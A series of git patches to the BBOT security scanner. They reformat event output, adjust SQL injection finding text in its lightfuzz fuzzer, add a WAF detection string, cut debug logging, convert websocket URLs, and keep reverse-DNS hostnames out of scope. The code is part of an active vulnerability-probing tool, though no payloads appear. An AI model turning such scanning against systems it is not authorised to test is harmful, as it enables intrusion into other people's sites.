".join(parts) if parts else super()._data_human() + class WAF(DictHostEvent): _always_emit = True @@ -1831,8 +1960,25 @@ class _data_validator(BaseModel): def _pretty_string(self): return self.data["waf"] + def _data_human(self): + waf = self.data["waf"] + info = self.data.get("info", "") + url = self.data.get("url", "") + if info: + waf += f" - {info}" + if url: + waf += f" ({url})" + return waf + class FILESYSTEM(DictPathEvent): + def _data_human(self): + path = self.data.get("path", "") + description = self.data.get("magic_description", "") + if description: + return f"{path} ({description})" + return path + def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) if self._data_path.is_file(): @@ -1861,6 +2007,12 @@ class RAW_DNS_RECORD(DictHostEvent, DnsEvent): # don't emit raw DNS records for affiliates _always_emit_tags = ["seed"] + def _data_human(self): + rdtype = self.data.get("type", "") + host = self.data.get("host", "") + answer = self.data.get("answer", "") + return f"{rdtype} {host} -> {answer}" + class MOBILE_APP(DictEvent): _always_emit = True @@ -1890,6 +2042,13 @@ def _sanitize_data(self, data): def _pretty_string(self): return self.data["url"] + def _data_human(self): + app_id = self.data.get("id", "") + url = self.data.get("url", "") + if app_id and url: + return f"{app_id} ({url})" + return url or app_id + def update_event( event, diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 5f1e458ce0..d1505df88f 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -1,4 +1,3 @@ -import json import random import ipaddress @@ -359,7 +358,7 @@ async def test_events(events, helpers): "FINDING", dummy=True, ) - assert json.loads(test_vuln2.data_human)["severity"] == "INFO" + assert test_vuln2.data_human == "Severity: [INFO] Confidence: [HIGH] asdf" assert test_vuln2.host.is_private # must have severity with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"): From 70f04cf8ec44e8ae4e6c7c9d3b561456a59ca2ab Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 14:46:27 -0400 Subject: [PATCH 506/912] Remove probe request descriptions from sqli findings --- bbot/modules/lightfuzz/submodules/base.py | 23 ----------------------- bbot/modules/lightfuzz/submodules/sqli.py | 16 +--------------- 2 files changed, 1 insertion(+), 38 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index 5c2103b1a8..e2536f1ce9 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -209,8 +209,6 @@ async def compare_probe( additional_params_populate_empty, skip_urlencoding, ) - # Stash request params for finding descriptions - self._last_probe_request = dict(request_params) # Perform the comparison using the constructed request parameters url = request_params.pop("url") return await http_compare.compare(url, **request_params) @@ -299,27 +297,6 @@ def outgoing_probe_value(self, outgoing_probe_value): ) return outgoing_probe_value - def describe_probe_request(self, label, request_params): - """Format a probe's request params into a compact string for finding descriptions.""" - if not request_params: - return "" - method = request_params.get("method", "GET") - url = request_params.get("url", "") - data = request_params.get("data") - json_data = request_params.get("json") - if data: - body = "&".join(f"{k}={v}" for k, v in data.items()) - elif json_data: - import json - - body = json.dumps(json_data, separators=(",", ":")) - elif "?" in url: - body = url.split("?", 1)[1] - else: - body = "" - body = self.lightfuzz.helpers.truncate_string(body, 500) - return f" {label}: [{method} {body}]" - def get_submodule_name(self): """Extracts the submodule name from the class name.""" return self.__class__.__name__.replace("Lightfuzz", "").lower() diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index c55a345fff..1e85af3289 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -144,7 +144,6 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) - sq_request = getattr(self, "_last_probe_request", None) double_single_quote = await self.compare_probe( http_compare, self.event.data["type"], @@ -152,7 +151,6 @@ async def fuzz(self): cookies, additional_params_populate_empty=True, ) - dq_request = getattr(self, "_last_probe_request", None) # if the single quote probe response is different from the baseline if single_quote[0] is False: # check for common SQL error strings in the response @@ -203,24 +201,12 @@ async def fuzz(self): ) confirmed = await self._confirm_code_change(probe_value, cookies, initial_status_codes) if confirmed: - # Build probe body descriptions for triage - baseline_desc = self.describe_probe_request( - "baseline", - { - "method": http_compare.method, - "url": http_compare.baseline_url, - "data": http_compare.data, - "json": http_compare.json, - }, - ) - sq_desc = self.describe_probe_request("sq", sq_request) - dq_desc = self.describe_probe_request("dq", dq_request) self.results.append( { "name": "Possible SQL Injection", "severity": "HIGH", "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]{baseline_desc}{sq_desc}{dq_desc}", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({initial_status_codes[0]}->{initial_status_codes[1]}->{initial_status_codes[2]})]", } ) else: From 32ae4e552484846990e813f294fa3c377053ff51 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 14:49:51 -0400 Subject: [PATCH 507/912] Add Azure Application Gateway to WAF detection strings --- bbot/core/helpers/misc.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 22e1cf83d8..f2419753be 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2696,6 +2696,7 @@ def get_waf_strings(): "Request unsuccessful. Incapsula incident", "Access Denied - Sucuri Website Firewall", "Attention Required! | Cloudflare", + "Microsoft-Azure-Application-Gateway", ] From daf59f7f036522d066f5c0e527f66dfa989bbe92 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 15:04:25 -0400 Subject: [PATCH 508/912] Remove noisy debug logging from paramminer and HttpCompare diff --- bbot/core/helpers/diff.py | 9 --------- bbot/modules/paramminer_headers.py | 6 ------ 2 files changed, 15 deletions(-) diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 64c1b1e6a5..98a173a1c7 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -98,7 +98,6 @@ async def _baseline(self): baseline_1_json = xmltodict.parse(baseline_1.text) baseline_2_json = xmltodict.parse(baseline_2.text) except ExpatError: - log.debug(f"Can't HTML parse for {self.baseline_url}. Switching to text parsing as a backup") baseline_1_json = baseline_1.text.split("\n") baseline_2_json = baseline_2.text.split("\n") @@ -139,7 +138,6 @@ def compare_headers(self, headers_1, headers_2): for header, value in list(headers.items()): if header.lower() in self.baseline_ignore_headers: with suppress(KeyError): - log.debug(f'found ignored header "{header}" in headers_{i + 1} and removed') del headers[header] ddiff = DeepDiff(headers_1, headers_2, ignore_order=True, view="tree", threshold_to_diff_deeper=0) @@ -237,25 +235,18 @@ async def compare( subject_json = xmltodict.parse(subject_response.text) except ExpatError: - log.debug(f"Can't HTML parse for {subject.split('?')[0]}. Switching to text parsing as a backup") subject_json = subject_response.text.split("\n") diff_reasons = [] if self.baseline.status_code != subject_response.status_code: - log.debug( - f"status code was different [{str(self.baseline.status_code)}] -> [{str(subject_response.status_code)}], no match" - ) diff_reasons.append("code") different_headers = self.compare_headers(self.baseline.headers, subject_response.headers) if different_headers: - log.debug("headers were different, no match") diff_reasons.append("header") if self.compare_body(self.baseline_json, subject_json) is False: - log.debug("difference in HTML body, no match") - diff_reasons.append("body") if not diff_reasons: diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index ae573abadf..cdd91b8057 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -169,7 +169,6 @@ async def handle_event(self, event): if self.config.get("skip_boring_words", True) and parameter_name in self.boring_words: return if parameter_name not in self.wl: # Ensure it's not already in the wordlist - self.debug(f"Adding {parameter_name} to wordlist") self.extracted_words_master.add(parameter_name) elif event.type == "HTTP_RESPONSE": @@ -224,7 +223,6 @@ def gen_count_args(self, url): async def binary_search(self, compare_helper, url, group, reasons=None, reflection=False): if reasons is None: reasons = [] - self.debug(f"Entering recursive binary_search with {len(group):,} sized group") if len(group) == 1 and len(reasons) > 0: yield group[0], reasons, reflection elif len(group) > 1 or (len(group) == 1 and len(reasons) == 0): @@ -233,10 +231,6 @@ async def binary_search(self, compare_helper, url, group, reasons=None, reflecti if match is False: async for r in self.binary_search(compare_helper, url, group_slice, reasons, reflection): yield r - else: - self.debug( - f"binary_search() failed to start with group of size {str(len(group))} and {str(len(reasons))} length reasons" - ) async def check_batch(self, compare_helper, url, header_list): rand = self.rand_string() From fdf93642cbbd5df27c7b8dade6d6353147f2d278 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 15:22:45 -0400 Subject: [PATCH 509/912] Reduce debug logging noise in event handling, paramminer, HttpCompare, serial, telerik --- bbot/modules/base.py | 6 +----- bbot/modules/lightfuzz/submodules/serial.py | 6 ------ bbot/modules/paramminer_headers.py | 1 + bbot/modules/telerik.py | 1 - 4 files changed, 2 insertions(+), 12 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index d7356bd809..177ff56731 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -661,7 +661,6 @@ async def _events_waiting(self, batch_size=None): break try: event = self.incoming_event_queue.get_nowait() - self.debug(f"Got {event} from {getattr(event, 'module', 'unknown_module')}") acceptable, reason = await self._event_postcheck(event) if acceptable: if event.type == "FINISHED": @@ -766,7 +765,6 @@ async def _worker(self): break except asyncio.queues.QueueEmpty: continue - self.debug(f"Got {event} from {getattr(event, 'module', 'unknown_module')}") try: async with self._task_counter.count(f"event_postcheck({event})"): acceptable, reason = await self._event_postcheck(event) @@ -781,13 +779,12 @@ async def _worker(self): else: context = f"{self.name}.handle_event({event})" self.scan.stats.event_consumed(event, self) - self.debug(f"Handling {event}") + self.debug(f"Handling {event} from {getattr(event, 'module', 'unknown_module')}") try: await self.run_task(self.handle_event(event), context) except asyncio.CancelledError: self.debug(f"{context} was cancelled") continue - self.debug(f"Finished handling {event}") else: self.debug(f"Not accepting {event} because {reason}") finally: @@ -940,7 +937,6 @@ async def _event_postcheck_inner(self, event): if not filter_result: return False, msg - self.debug(f"{event} passed post-check") return True, "" def _scope_distance_check(self, event): diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 508fe98ab9..148215f249 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -142,11 +142,8 @@ async def fuzz(self): continue if matches_baseline: - self.debug(f"Payload {payload_type} matches baseline, skipping") continue - self.debug(f"Probe result for {payload_type}: {response}") - status_code = getattr(response, "status_code", 0) if status_code == 0: continue @@ -159,8 +156,6 @@ async def fuzz(self): self.debug(f"Status code {status_code} not in (200, 500), skipping") continue - # if the status code changed to 200, and the response doesn't match our general error exclusions, we have a finding - self.debug(f"Potential finding detected for {payload_type}, needs confirmation") if ( status_code == 200 and "code" in diff_reasons @@ -199,7 +194,6 @@ def get_title(text): # if the first case doesn't match, we check for a telltale error string like "java.io.optionaldataexception" in the response. # but only if the response is a 500, or a 200 with a body diff elif status_code == 500 or (status_code == 200 and diff_reasons == ["body"]): - self.debug(f"500 status code or body match for {payload_type}") for serialization_error in serialization_errors: # check for the error string, but also ensure the error string isn't just always present in the response if ( diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index cdd91b8057..166a70976e 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -223,6 +223,7 @@ def gen_count_args(self, url): async def binary_search(self, compare_helper, url, group, reasons=None, reflection=False): if reasons is None: reasons = [] + self.debug(f"Entering recursive binary_search with {len(group):,} sized group for URL [{url}]") if len(group) == 1 and len(reasons) > 0: yield group[0], reasons, reflection elif len(group) > 1 or (len(group) == 1 and len(reasons) == 0): diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 493117fc7d..e742ce9b6b 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -258,7 +258,6 @@ async def handle_event(self, event): if base_url not in self.RAUConfirmed: self.RAUConfirmed.append(base_url) root_tool_path = self.scan.helpers.tools_dir / "telerik" - self.debug(root_tool_path) for version in self.telerikVersions: command = [ From c33ad4ef8b459bafcad30a7bfb32d25ab528b75f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 15:31:56 -0400 Subject: [PATCH 510/912] Remove intercept pipeline and output queueing debug noise --- bbot/modules/base.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 177ff56731..2e61ce4b33 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1020,11 +1020,7 @@ async def queue_event(self, event): return acceptable, reason = self._event_precheck(event) if not acceptable: - if reason and reason != "its type is not in watched_events": - self.debug(f"Not queueing {event} because {reason}") return - else: - self.debug(f"Queueing {event} because {reason}") try: self.incoming_event_queue.put_nowait(event) event._module_consumers += 1 @@ -1858,12 +1854,10 @@ async def _worker(self): async with self._task_counter.count(f"event_precheck({event})"): precheck_pass, reason = self._event_precheck(event) if not precheck_pass: - self.debug(f"Not intercepting {event} because precheck failed ({reason})") acceptable = False async with self._task_counter.count(f"event_postcheck({event})"): postcheck_pass, reason = await self._event_postcheck(event) if not postcheck_pass: - self.debug(f"Not intercepting {event} because postcheck failed ({reason})") acceptable = False # whether to pass the event on to the rest of the scan @@ -1887,7 +1881,6 @@ async def _worker(self): self.debug(f"Not forwarding {event} because {forward_event_reason}") continue - self.debug(f"Forwarding {event}") await self.forward_event(event, kwargs) except asyncio.CancelledError: From c1579cac5d86d43573a2c0385b8e54359797d344 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 15:38:11 -0400 Subject: [PATCH 511/912] Log paramminer binary_search entry only on top-level call --- bbot/modules/paramminer_headers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index 166a70976e..96ce4d49a7 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -223,7 +223,7 @@ def gen_count_args(self, url): async def binary_search(self, compare_helper, url, group, reasons=None, reflection=False): if reasons is None: reasons = [] - self.debug(f"Entering recursive binary_search with {len(group):,} sized group for URL [{url}]") + self.debug(f"Entering binary_search with {len(group):,} sized group for URL [{url}]") if len(group) == 1 and len(reasons) > 0: yield group[0], reasons, reflection elif len(group) > 1 or (len(group) == 1 and len(reasons) == 0): From 5a0d8d4fad014ff9bedaeea005401cea587e17ea Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 13 Apr 2026 16:24:19 -0400 Subject: [PATCH 512/912] Convert ws:// and wss:// URLs to HTTP equivalents instead of raising findings --- bbot/modules/internal/excavate.py | 13 +++++++++++++ .../module_tests/test_module_excavate.py | 15 +++++++++++++++ 2 files changed, 28 insertions(+) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index e2e450a8fb..5a0fc04d43 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -817,6 +817,19 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte except ValueError as e: self.excavate.debug(f"Failed to parse netloc: {e}") continue + # convert websocket URLs to their HTTP equivalents + if parsed_url.scheme in ["ws", "wss"]: + http_scheme = "https" if parsed_url.scheme == "wss" else "http" + http_url = parsed_url._replace(scheme=http_scheme).geturl() + await self.report( + http_url, + event, + yara_rule_settings, + discovery_context, + event_type="URL_UNVERIFIED", + ) + continue + if parsed_url.scheme in ["http", "https"]: continue diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 4834d898ca..4fd5854273 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -473,6 +473,8 @@ class TestExcavateNonHttpScheme(TestExcavate):

    hxxp://test.notreal

    ftp://test.notreal

    nonsense://test.notreal

    +

    ws://test.notreal

    +

    wss://test.notreal

    """ @@ -484,6 +486,9 @@ def check(self, module_test, events): found_hxxp_url = False found_ftp_url = False found_nonsense_url = False + found_ws_finding = False + found_ws_url = False + found_wss_url = False for e in events: if e.type == "FINDING": @@ -493,9 +498,19 @@ def check(self, module_test, events): found_ftp_url = True if "nonsense" in e.data["description"]: found_nonsense_url = True + if "ws://" in e.data.get("description", "") or "wss://" in e.data.get("description", ""): + found_ws_finding = True + if e.type == "URL_UNVERIFIED": + if e.data.get("url", "") == "http://test.notreal/": + found_ws_url = True + if e.data.get("url", "") == "https://test.notreal/": + found_wss_url = True assert found_hxxp_url assert found_ftp_url assert not found_nonsense_url + assert not found_ws_finding, "ws:// should not produce a FINDING" + assert found_ws_url, "ws:// should be converted to http:// URL_UNVERIFIED" + assert found_wss_url, "wss:// should be converted to https:// URL_UNVERIFIED" class TestExcavateParameterExtraction(TestExcavate): From c19fdfaba57f74fb67c16b939eb4e132d643e853 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 14 Apr 2026 11:09:33 -0400 Subject: [PATCH 513/912] Fix graph orphans for omitted event types in preserve_graph output modules --- bbot/modules/base.py | 2 +- bbot/test/test_step_1/test_modules_basic.py | 19 +++++++++++++++++++ 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index d7356bd809..4260b3adae 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1570,7 +1570,7 @@ def log_table(self, *args, **kwargs): return table def _is_graph_important(self, event): - return self.preserve_graph and getattr(event, "_graph_important", False) and not getattr(event, "_omit", False) + return self.preserve_graph and getattr(event, "_graph_important", False) @property def preserve_graph(self): diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 8054e3c95d..68c82c1eb8 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -103,6 +103,25 @@ async def test_modules_basic_checks(events, httpx_mock): assert result is False assert reason == "its type is omitted in the config" + # graph-important omitted events should be accepted by output modules with _preserve_graph + # this prevents graph orphans when e.g. a JS URL (URL_UNVERIFIED, omitted) discovers a DNS_NAME + graph_output_module = BaseOutputModule(scan) + graph_output_module.watched_events = ["*"] + graph_output_module._preserve_graph = True + js_url = scan.make_event("http://evilcorp.com/app.js", "URL_UNVERIFIED", parent=scan.root_event) + js_url._omit = True + js_url._graph_important = True + result, reason = graph_output_module._event_precheck(js_url) + assert result is True, ( + f"graph-important omitted event should be accepted by preserve_graph module, but got: {reason}" + ) + # non-preserve_graph modules should still reject omitted events even if graph-important + non_graph_output_module = BaseOutputModule(scan) + non_graph_output_module.watched_events = ["*"] + non_graph_output_module._preserve_graph = False + result, reason = non_graph_output_module._event_precheck(js_url) + assert result is False, "graph-important omitted event should be rejected by non-preserve_graph module" + # always_emit should bypass the internal check finding_data2 = { "host": "evilcorp.com", From 98020ddc42dd3d3696b1ebe8bc3094424a41e597 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 14 Apr 2026 12:23:03 -0400 Subject: [PATCH 514/912] Don't promote out-of-scope PTRs by default --- bbot/defaults.yml | 4 +- bbot/modules/internal/dnsresolve.py | 20 +++++- .../module_tests/test_module_dnsresolve.py | 61 +++++++++++++++++++ 3 files changed, 82 insertions(+), 3 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index fa3727b1b4..a00adad9d9 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -68,7 +68,9 @@ dns: # Skip DNS requests for a certain domain and rdtype after encountering this many timeouts or SERVFAILs # This helps prevent faulty DNS servers from hanging up the scan abort_threshold: 50 - # Don't show PTR records containing IP addresses + # Treat hostnames discovered via PTR records as affiliates instead of in-scope + # This prevents rDNS results (e.g. 1-2-3-4.ptr.example.com) from triggering + # subdomain enumeration against unrelated domains when scanning IP ranges filter_ptrs: true # Enable/disable debug messages for DNS queries debug: false diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index f23a3bea76..413a519746 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -38,6 +38,8 @@ async def setup(self): self.dns_search_distance = max(0, int(self.dns_config.get("search_distance", 1))) self._emit_raw_records = None + self.filter_ptrs = self.dns_config.get("filter_ptrs", True) + self.host_module = self.HostModule(self.scan) self.children_emitted = set() self.children_emitted_raw = set() @@ -69,8 +71,18 @@ async def handle_event(self, event, **kwargs): # are any of its IPs in target scope or blacklisted? in_target, blacklisted = self.check_scope(main_host_event) if in_target and main_host_event.scope_distance > 0: - self.debug(f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)") - main_host_event.scope_distance = 0 + # when filter_ptrs is enabled, don't promote PTR-derived hostnames to in-scope + # this prevents rDNS results from triggering subdomain enumeration against unrelated domains + # (e.g. scanning 1.2.3.0/24 would otherwise enumerate every PTR parent like randomothercorp.com) + if self.filter_ptrs and "ptr" in main_host_event.tags: + self.debug( + f"Not making {main_host_event} in-scope: PTR-derived hostname (filter_ptrs=true)" + ) + else: + self.debug( + f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)" + ) + main_host_event.scope_distance = 0 # abort if the event resolves to something blacklisted if blacklisted: @@ -195,6 +207,10 @@ async def emit_dns_children(self, event): self.warning(f'Event validation failed for DNS child of {event}: "{child_host}" ({rdtype}): {e}') continue + # tag PTR-derived children so downstream logic can identify them + if rdtype == "PTR": + child_event.add_tag("ptr") + child_hash = hash(f"{event.host}:{module}:{child_host}") # if we haven't emitted this one before if child_hash not in self.children_emitted: diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py index 7940b7aea6..8a47d186cc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py @@ -58,3 +58,64 @@ def check(self, module_test, events): and e.scope_distance == 1 ] ) + + +class TestDNSResolveFilterPTRs(ModuleTestBase): + """Test that PTR-derived hostnames stay as affiliates when filter_ptrs is enabled (default).""" + + module_name = "dnsresolve" + targets = ["192.168.0.1"] + config_overrides = {"dns": {"minimal": False, "filter_ptrs": True, "search_distance": 1}, "scope": {"report_distance": 1, "search_distance": 0}} + + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "1.0.168.192.in-addr.arpa": {"PTR": ["ptr-host.othercorp.com"]}, + "ptr-host.othercorp.com": {"A": ["192.168.0.1"]}, + } + ) + + def check(self, module_test, events): + # the PTR-derived hostname should have the ptr tag + ptr_events = [ + e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com" + ] + assert len(ptr_events) == 1, f"Expected exactly 1 PTR-derived DNS_NAME, got {len(ptr_events)}" + ptr_event = ptr_events[0] + assert "ptr" in ptr_event.tags, f"PTR-derived event should have 'ptr' tag, has: {ptr_event.tags}" + # it should NOT be promoted to in-scope (scope_distance should stay > 0) + assert ptr_event.scope_distance > 0, ( + f"PTR-derived hostname should not be promoted to in-scope when filter_ptrs=true, " + f"got scope_distance={ptr_event.scope_distance}" + ) + assert "affiliate" in ptr_event.tags, f"PTR-derived hostname should be tagged as affiliate, has: {ptr_event.tags}" + + +class TestDNSResolveFilterPTRsDisabled(ModuleTestBase): + """Test that PTR-derived hostnames ARE promoted to in-scope when filter_ptrs is disabled.""" + + module_name = "dnsresolve" + targets = ["192.168.0.1"] + config_overrides = {"dns": {"minimal": False, "filter_ptrs": False, "search_distance": 1}, "scope": {"report_distance": 1, "search_distance": 0}} + + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "1.0.168.192.in-addr.arpa": {"PTR": ["ptr-host.othercorp.com"]}, + "ptr-host.othercorp.com": {"A": ["192.168.0.1"]}, + } + ) + + def check(self, module_test, events): + # with filter_ptrs disabled, PTR-derived hostname should be promoted to in-scope + ptr_events = [ + e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com" + ] + assert len(ptr_events) == 1, f"Expected exactly 1 PTR-derived DNS_NAME, got {len(ptr_events)}" + ptr_event = ptr_events[0] + assert "ptr" in ptr_event.tags, f"PTR-derived event should have 'ptr' tag, has: {ptr_event.tags}" + # it SHOULD be promoted to in-scope + assert ptr_event.scope_distance == 0, ( + f"PTR-derived hostname should be promoted to in-scope when filter_ptrs=false, " + f"got scope_distance={ptr_event.scope_distance}" + ) From cc43dfcac258ec9b71ee926dc62c2f10dd0f9ceb Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 14 Apr 2026 12:23:28 -0400 Subject: [PATCH 515/912] ruffed --- bbot/modules/internal/dnsresolve.py | 4 +--- .../module_tests/test_module_dnsresolve.py | 22 +++++++++++-------- 2 files changed, 14 insertions(+), 12 deletions(-) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 413a519746..f2472025c9 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -75,9 +75,7 @@ async def handle_event(self, event, **kwargs): # this prevents rDNS results from triggering subdomain enumeration against unrelated domains # (e.g. scanning 1.2.3.0/24 would otherwise enumerate every PTR parent like randomothercorp.com) if self.filter_ptrs and "ptr" in main_host_event.tags: - self.debug( - f"Not making {main_host_event} in-scope: PTR-derived hostname (filter_ptrs=true)" - ) + self.debug(f"Not making {main_host_event} in-scope: PTR-derived hostname (filter_ptrs=true)") else: self.debug( f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)" diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py index 8a47d186cc..fb7d1b6224 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsresolve.py @@ -65,7 +65,10 @@ class TestDNSResolveFilterPTRs(ModuleTestBase): module_name = "dnsresolve" targets = ["192.168.0.1"] - config_overrides = {"dns": {"minimal": False, "filter_ptrs": True, "search_distance": 1}, "scope": {"report_distance": 1, "search_distance": 0}} + config_overrides = { + "dns": {"minimal": False, "filter_ptrs": True, "search_distance": 1}, + "scope": {"report_distance": 1, "search_distance": 0}, + } async def setup_after_prep(self, module_test): await module_test.mock_dns( @@ -77,9 +80,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # the PTR-derived hostname should have the ptr tag - ptr_events = [ - e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com" - ] + ptr_events = [e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com"] assert len(ptr_events) == 1, f"Expected exactly 1 PTR-derived DNS_NAME, got {len(ptr_events)}" ptr_event = ptr_events[0] assert "ptr" in ptr_event.tags, f"PTR-derived event should have 'ptr' tag, has: {ptr_event.tags}" @@ -88,7 +89,9 @@ def check(self, module_test, events): f"PTR-derived hostname should not be promoted to in-scope when filter_ptrs=true, " f"got scope_distance={ptr_event.scope_distance}" ) - assert "affiliate" in ptr_event.tags, f"PTR-derived hostname should be tagged as affiliate, has: {ptr_event.tags}" + assert "affiliate" in ptr_event.tags, ( + f"PTR-derived hostname should be tagged as affiliate, has: {ptr_event.tags}" + ) class TestDNSResolveFilterPTRsDisabled(ModuleTestBase): @@ -96,7 +99,10 @@ class TestDNSResolveFilterPTRsDisabled(ModuleTestBase): module_name = "dnsresolve" targets = ["192.168.0.1"] - config_overrides = {"dns": {"minimal": False, "filter_ptrs": False, "search_distance": 1}, "scope": {"report_distance": 1, "search_distance": 0}} + config_overrides = { + "dns": {"minimal": False, "filter_ptrs": False, "search_distance": 1}, + "scope": {"report_distance": 1, "search_distance": 0}, + } async def setup_after_prep(self, module_test): await module_test.mock_dns( @@ -108,9 +114,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # with filter_ptrs disabled, PTR-derived hostname should be promoted to in-scope - ptr_events = [ - e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com" - ] + ptr_events = [e for e in events if e.type == "DNS_NAME" and e.data == "ptr-host.othercorp.com"] assert len(ptr_events) == 1, f"Expected exactly 1 PTR-derived DNS_NAME, got {len(ptr_events)}" ptr_event = ptr_events[0] assert "ptr" in ptr_event.tags, f"PTR-derived event should have 'ptr' tag, has: {ptr_event.tags}" From 8ea7d66e8a9a36fc38f800602b609906622b839d Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 14 Apr 2026 16:10:05 -0400 Subject: [PATCH 516/912] fix affiliatestest --- bbot/test/test_step_2/module_tests/test_module_affiliates.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_affiliates.py b/bbot/test/test_step_2/module_tests/test_module_affiliates.py index 6b497e4adf..820ef306fc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_affiliates.py +++ b/bbot/test/test_step_2/module_tests/test_module_affiliates.py @@ -3,7 +3,7 @@ class TestAffiliates(ModuleTestBase): targets = ["8.8.8.8"] - config_overrides = {"dns": {"minimal": False}} + config_overrides = {"dns": {"minimal": False, "filter_ptrs": False}} async def setup_after_prep(self, module_test): await module_test.mock_dns( From aee4fc88a51dcfd070ed95a9a6f4a89cb992d74c Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 14 Apr 2026 16:12:53 -0400 Subject: [PATCH 517/912] Fix test assertions for sqli probe description removal and static URL filtering --- 